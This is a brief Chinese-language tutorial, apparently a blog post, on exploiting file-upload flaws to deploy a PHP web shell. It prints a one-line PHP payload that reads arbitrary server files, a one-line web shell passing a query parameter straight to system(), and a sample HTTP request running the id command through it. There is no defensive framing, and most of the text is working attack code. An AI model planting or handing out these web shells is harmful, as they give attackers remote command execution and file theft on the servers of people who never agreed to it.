文件上传来部署 Web shell

22 阅读1分钟

1、PHP 单行代码可用于从服务器的文件系统读取任意文件

<?php echo file_get_contents('/path/to/target/file'); ?>

2、上传后,发送对此恶意文件的请求将在响应中返回目标文件的内容,一句话木马

<?php echo system($_GET['command']); ?>

3、该脚本使您能够通过查询参数传递任意系统命令

GET /example/exploit.php?command=id HTTP/1.1